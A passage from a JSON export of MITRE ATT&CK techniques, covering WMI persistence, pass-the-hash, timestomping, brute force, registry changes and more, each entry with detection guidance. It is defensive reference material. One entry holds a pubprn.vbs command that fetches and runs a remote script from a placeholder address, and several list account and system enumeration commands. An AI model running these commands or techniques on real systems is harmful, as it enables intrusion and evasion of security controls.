      "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: WMI Objects\n\nPermissions Required: Administrator, SYSTEM",
      "meta": {
        "external_id": "T1084",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "WMI Objects"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1084",
          "https://www.secureworks.com/blog/wmi-persistence",
          "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf",
          "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf",
          "https://technet.microsoft.com/en-us/sysinternals/bb963902"
        ]
      },
      "uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4",
      "value": "Windows Management Instrumentation Event Subscription - T1084"
    },
    {
      "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis",
      "meta": {
        "external_id": "T1089",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Anti-virus",
          "File monitoring",
          "Services",
          "Windows Registry",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1089"
        ]
      },
      "uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044",
      "value": "Disabling Security Tools - T1089"
    },
    {
      "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nPermissions Required: User, Administrator, SYSTEM",
      "meta": {
        "external_id": "T1120",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1120"
        ]
      },
      "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
      "value": "Peripheral Device Discovery - T1120"
    },
    {
      "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
      "meta": {
        "external_id": "T1002",
        "kill_chain": [
          "mitre-attack:enterprise-attack:exfiltration"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Binary file metadata",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1002",
          "https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
        ]
      },
      "uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
      "value": "Data Compressed - T1002"
    },
    {
      "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.\n\nAlso, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User\n\nContributors: Travis Smith, Tripwire",
      "meta": {
        "external_id": "T1087",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1087"
        ]
      },
      "uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
      "value": "Account Discovery - T1087"
    },
    {
      "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as target system\n\nContributors: Travis Smith, Tripwire",
      "meta": {
        "external_id": "T1075",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "Authentication logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1075",
          "http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf"
        ]
      },
      "uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff",
      "value": "Pass the Hash - T1075"
    },
    {
      "description": "The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: No",
      "meta": {
        "external_id": "T1153",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Process Monitoring",
          "File monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1153"
        ]
      },
      "uuid": "45d84c8b-c1e2-474d-a14d-69b5de0a2bc0",
      "value": "Source - T1153"
    },
    {
      "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Linux, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM",
      "meta": {
        "external_id": "T1099",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1099",
          "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"
        ]
      },
      "uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a",
      "value": "Timestomp - T1099"
    },
    {
      "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nDetection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \n\nMonitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: John Strand",
      "meta": {
        "external_id": "T1110",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "Authentication logs"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1110",
          "https://en.wikipedia.org/wiki/Password%20cracking",
          "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf",
          "http://www.blackhillsinfosec.com/?p=4645"
        ]
      },
      "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
      "value": "Brute Force - T1110"
    },
    {
      "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Bartosz Jerzman, Travis Smith, Tripwire",
      "meta": {
        "external_id": "T1112",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "File monitoring",
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1112",
          "https://technet.microsoft.com/en-us/library/cc732643.aspx",
          "https://technet.microsoft.com/en-us/library/cc754820.aspx"
        ]
      },
      "uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
      "value": "Modify Registry - T1112"
    },
    {
      "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)\n\nDetection: Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
      "meta": {
        "external_id": "T1174",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "DLL monitoring",
          "Windows Registry",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1174",
          "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
          "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
        ]
      },
      "uuid": "b8c5c9dd-a662-479d-9428-ae745872537c",
      "value": "Password Filter DLL - T1174"
    },
    {
      "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User\n\nContributors: Erye Hernandez, Palo Alto Networks",
      "meta": {
        "external_id": "T1151",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1151",
          "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"
        ]
      },
      "uuid": "e2907cea-4b43-4ed7-a570-0fdf0fbeea00",
      "value": "Space after Filename - T1151"
    },
    {
      "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command <code>screencapture</code> is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring",
      "meta": {
        "external_id": "T1113",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Process monitoring",
          "File monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1113",
          "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
        ]
      },
      "uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
      "value": "Screen Capture - T1113"
    },
    {
      "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Windows Error Reporting, Process Monitoring, File monitoring\n\nPermissions Required: User\n\nSystem Requirements: Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network.",
      "meta": {
        "external_id": "T1210",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "Windows Error Reporting",
          "Process Monitoring",
          "File monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1210",
          "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
          "https://nvd.nist.gov/vuln/detail/CVE-2017-0176",
          "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
          "https://nvd.nist.gov/vuln/detail/CVE-2014-7169"
        ]
      },
      "uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
      "value": "Exploitation of Remote Services - T1210"
    },
    {
      "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Anti-virus, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
      "meta": {
        "external_id": "T1066",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Process use of network",
          "Anti-virus",
          "Binary file metadata",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1066"
        ]
      },
      "uuid": "00d0b012-8a03-410e-95de-5826bf542de6",
      "value": "Indicator Removal from Tools - T1066"
    },
    {
      "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. For example:\n*<code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n*<code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n*<code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to execute arbitrary commands.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
      "meta": {
        "external_id": "T1042",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1042",
          "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs",
          "http://msdn.microsoft.com/en-us/library/bb166549.aspx"
        ]
      },
      "uuid": "68c96494-1a50-403e-8844-69a6af278c68",
      "value": "Change Default File Association - T1042"
    },
    {
      "description": "Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.\n\nPubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: <code>cscript C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png</code>\n\nThere are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)\n\nDetection: Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Digital Certificate Validation\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Praetorian",
      "meta": {
        "external_id": "T1216",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1216",
          "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/",
          "https://github.com/api0cradle/UltimateAppLockerByPassList"
        ]
      },
      "uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
      "value": "Signed Script Proxy Execution - T1216"
    },
    {
      "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network",
      "meta": {
        "external_id": "T1114",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection"
        ],
        "mitre_data_sources": [
          "Authentication logs",
          "File monitoring",
          "Process monitoring",
          "Process use of network"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1114"
        ]
      },
      "uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f",
      "value": "Email Collection - T1114"
    },
    {
      "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n===Windows===\n\nExample commands and utilities that obtain this information include <code>ver</code>, Systeminfo, and <code>dir</code> within cmd for identifying information based on present files and directories.\n\n===Mac===\n\nOn Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1082",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1082"
        ]
      },
      "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
      "value": "System Information Discovery - T1082"
    },
    {
      "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n===Windows===\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\".\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: 